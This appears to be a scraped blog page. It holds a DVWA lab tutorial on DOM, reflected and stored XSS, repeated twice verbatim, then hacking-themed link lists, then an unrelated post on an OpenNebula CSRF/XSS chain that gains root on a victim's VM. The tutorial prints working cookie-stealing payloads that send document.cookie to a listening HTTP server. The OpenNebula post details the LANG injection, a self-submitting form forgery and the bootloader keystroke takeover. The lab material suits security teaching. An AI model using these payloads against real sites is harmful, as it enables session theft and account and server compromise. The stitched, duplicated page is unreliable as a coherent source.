Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:

Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:

http://localhost:9000/vulnerabilities/xss_d/?default=English

We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>

When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:

python3 -m http.server

By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>

The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.

Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:

<script>alert("XSS")</script>

After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.

In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:

<script>alert(XSS)</script>

When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:

<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>

to something like this:

<textarea name="mtxMessage" cols="50" rows="3"></textarea>

And now use your payload to steal some cookies:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Related articles

1. Chema Alonso Wikipedia
2. Hacking Etico 101 Pdf
3. Hacking Tools
4. Hacking Games Online
5. Nfc Hacking
6. Whatsapp Hacking

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:

Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:

http://localhost:9000/vulnerabilities/xss_d/?default=English

We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>

When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:

python3 -m http.server

By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>

The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.

Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:

<script>alert("XSS")</script>

After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.

In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:

<script>alert(XSS)</script>

When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:

<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>

to something like this:

<textarea name="mtxMessage" cols="50" rows="3"></textarea>

And now use your payload to steal some cookies:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Read more

• Hacking Web Technologies Pdf
• Best Hacking Books
• Hardware Hacking
• Mindset Hacking Nacho
• El Mejor Hacker
• Best Hacking Games
• Hacking Attacks
• Curso De Growth Hacking
• Hacking Roblox
• Codigo Hacker
• Software Hacking
• Growth Hacking Madrid
• Curso Hacking Etico Gratis
• Phishing Hacking
• Codigo Hacker
• Kali Linux Hacking

Save Your Cloud: Gain Root Access To VMs In OpenNebula 4.6.1

In this post, we show a proof-of-concept attack that gives us root access to a victim's VM in the Cloud Management Platform OpenNebula, which means that we can read and write all its data, install software, etc. The interesting thing about the attack is, that it allows an attacker to bridge the gap between the cloud's high-level web interface and the low-level shell-access to a virtual machine.

Like the latest blogpost of this series, this is a post about an old CSRF- and XSS-vulnerability that dates back to 2014. However, the interesting part is not the vulnerability itself but rather the exploit that we were able to develop for it.

An attacker needs the following information for a successful attack.

• ID of the VM to attack
  OpenNebula's VM ID is a simple global integer that is increased whenever a VM is instantiated. The attacker may simply guess the ID. Once the attacker can execute JavaScript code in the scope of Sunstone, it is possible to use OpenNebula's API and data structures to retrieve this ID based on the name of the desired VM or its IP address.
• Operating system & bootloader
  There are various ways to get to know a VMs OS, apart from simply guessing. For example, if the VM runs a publicly accessible web server, the OS of the VM could be leaked in the HTTP-Header Server (see RFC 2616). Another option would be to check the images or the template the VM was created from. Usually, the name and description of an image contains information about the installed OS, especially if the image was imported from a marketplace.
  Since most operating systems are shipped with a default bootloader, making a correct guess about a VMs bootloader is feasible. Even if this is not possible, other approaches can be used (see below).
• Keyboard layout of the VM's operating system
  As with the VMs bootloader, making an educated guess about a VM's keyboard layout is not difficult. For example, it is highly likely that VMs in a company's cloud will use the keyboard layout of the country the company is located in.

Overview of the Attack

The key idea of this attack is that neither Sunstone nor noVNC check whether keyboard related events were caused by human input or if they were generated by a script. This can be exploited so that gaining root access to a VM in OpenNebula requires five steps:

1. Using CSRF, a persistent XSS payload is deployed.
2. The XSS payload controls Sunstone's API.
3. The noVNC window of the VM to attack is loaded into an iFrame.
4. The VM is restarted using Sunstone's API.
5. Keystroke-events are simulated in the iFrame to let the bootloader open a root shell.

Figure 1: OpenNebula's Sunstone Interface displaying the terminal of a VM in a noVNC window.

The following sections give detailed information about each step.

Executing Remote Code in Sunstone

In Sunstone, every account can choose a display language. This choice is stored as an account parameter (e.g. for English LANG=en_US). In Sunstone, the value of the LANG parameter is used to construct a <script> tag that loads the corresponding localization script. For English, this creates the following tag:

<script src="locale/en_US/en_US.js?v=4.6.1" type="text/javascript"></script>

Setting the LANG parameter to a different string directly manipulates the path in the script tag. This poses an XSS vulnerability. By setting the LANG parameter to LANG="onerror=alert(1)//, the resulting script tag looks as follows:

<script src="locale/"onerror=alert(1)///"onerror=alert(1)//.js?v=4.6.1" type="text/javascript"></script>

For the web browser, this is a command to fetch the script locale/ from the server. However, this URL points to a folder, not a script. Therefore, what the server returns is no JavaScript. For the browser, this is an error, so the browser executes the JavaScript in the onerror statement: alert(1). The rest of the line (including the second alert(1)) is treated as comment due to the forward slashes.

When a user updates the language setting, the browser sends an XMLHttpRequest of the form

{ "action" : { "perform" : "update", "params" : { "template_raw" : "LANG=\"en_US\"" } }}

to the server (The original request contains more parameters. Since these parameters are irrelevant for the technique, we omitted them for readability.). Forging a request to Sunstone from some other web page via the victim's browser requires a trick since one cannot use an XMLHttpRequest due to restrictions enforced by the browser's Same-Origin-Policy. Nevertheless, using a self-submitting HTML form, the attacker can let the victim's browser issue a POST request that is similar enough to an XMLHttpRequest so that the server accepts it.

An HTML form field like

<input name='deliver' value='attacker' />

is translated to a request in the form of deliver=attacker. To create a request changing the user's language setting to en_US, the HTML form has to look like

<input name='{"action":{"perform":"update","params":{"template_raw":"LANG' value='\"en_US\""}}}' />

Notice that the equals sign in LANG=\"en_US\" is inserted by the browser because of the name=value format.

Figure 2: OpenNebula's Sunstone Interface displaying a user's attributes with the malicious payload in the LANG attribute.

Using this trick, the attacker sets the LANG parameter for the victim's account to "onerror=[remote code]//, where [remote code] is the attacker's exploit code. The attacker can either insert the complete exploit code into this parameter (there is no length limitation) or include code from a server under the attacker's control. Once the user reloads Sunstone, the server delivers HTML code to the client that executes the attacker's exploit.

Prepare Attack on VM

Due to the overwritten language parameter, the victim's browser does not load the localization script that is required for Sunstone to work. Therefore, the attacker achieved code execution, but Sunstone breaks and does not work anymore. For this reason, the attacker needs to set the language back to a working value (e.g. en_US) and reload the page in an iFrame. This way Sunstone is working again in the iFrame, but the attacker can control the iFrame from the outside. In addition, the attack code needs to disable a watchdog timer outside the iFrame that checks whether Sunstone is correctly initialized.

From this point on, the attacker can use the Sunstone API with the privileges of the victim. This way, the attacker can gather all required information like OpenNebula's internal VM ID and the keyboard layout of the VM's operating system from Sunstone's data-structures based on the name or the IP address of the desired VM.

Compromising a VM

Using the Sunstone API the attacker can issue a command to open a VNC connection. However, this command calls window.open, which opens a new browser window that the attacker cannot control. To circumvent this restriction, the attacker can overwrite window.open with a function that creates an iFrame under the attacker's control.

Once the noVNC-iFrame has loaded, the attacker can send keystrokes to the VM using the dispatchEvent function. Keystrokes on character keys can be simulated using keypress events. Keystrokes on special keys (Enter, Tab, etc.) have to be simulated using pairs of keydown and keyup events since noVNC filters keypress events on special keys.

Getting Root Access to VM

To get root access to a VM the attacker can reboot a victim's VM using the Sunstone API and then control the VM's bootloader by interrupting it with keystrokes. Once the attacker can inject commands into the bootloader, it is possible to use recovery options or the single user mode of Linux based operating systems to get a shell with root privileges. The hardest part with this attack is to get the timing right. Usually, one only has a few seconds to interrupt a bootloader. However, if the attacker uses the hard reboot feature, which instantly resets the VM without shutting it down gracefully, the time between the reboot command and the interrupting keystroke can be roughly estimated.

Even if the bootloader is unknown, it is possible to use a try-and-error approach. Since the variety of bootloaders is small, one can try for one particular bootloader and reset the machine if the attack was unsuccessful. Alternatively, one can capture a screenshot of the noVNC canvas of the VM a few seconds after resetting the VM and determine the bootloader.

A video of the attack can be seen here. The browser on the right hand side shows the victim's actions. A second browser on the left hand side shows what is happening in OpenNebula. The console window on the bottom right shows that there is no user-made keyboard input while the attack is happening.